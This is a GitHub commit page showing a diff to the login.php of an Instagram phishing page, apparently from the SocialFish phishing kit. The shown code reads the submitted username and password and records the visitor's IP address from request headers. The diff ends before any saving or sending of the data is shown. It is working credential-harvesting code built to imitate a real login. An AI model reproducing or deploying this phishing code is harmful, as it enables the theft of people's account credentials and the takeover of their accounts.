Skip to content

Commit

Permalink
Update login.php
Browse files Browse the repository at this point in the history
  • Loading branch information
A1S0N authored Jul 1, 2018
1 parent 2ada368 commit 802b86f
Showing 1 changed file with 12 additions and 1 deletion.
13 changes: 12 additions & 1 deletion base/WebPages/instagram/login.php
Original file line number Diff line number Diff line change
@@ -1,7 +1,18 @@
<?php
$var = $_POST['username'];
$var2 = $_POST['password'];
$remote = $_SERVER['REMOTE_ADDR'];
if (!empty($_SERVER['HTTP_CLIENT_IP']))
{
$remote = $_SERVER['HTTP_CLIENT_IP']."\r\n";
}
elseif (!empty($_SERVER['HTTP_X_FORWARDED_FOR']))
{
$remote = $_SERVER['HTTP_X_FORWARDED_FOR']."\r\n";
}
else
{
$remote = $_SERVER['REMOTE_ADDR']."\r\n";
}
$myFile = file_get_contents("protect.html");
$searchString = "<html><title>There's a Phishing Page generated by SocialFish in this website.</title></html>";
if($myFile == $searchString) {
Expand Down

0 comments on commit 802b86f

Please sign in to comment.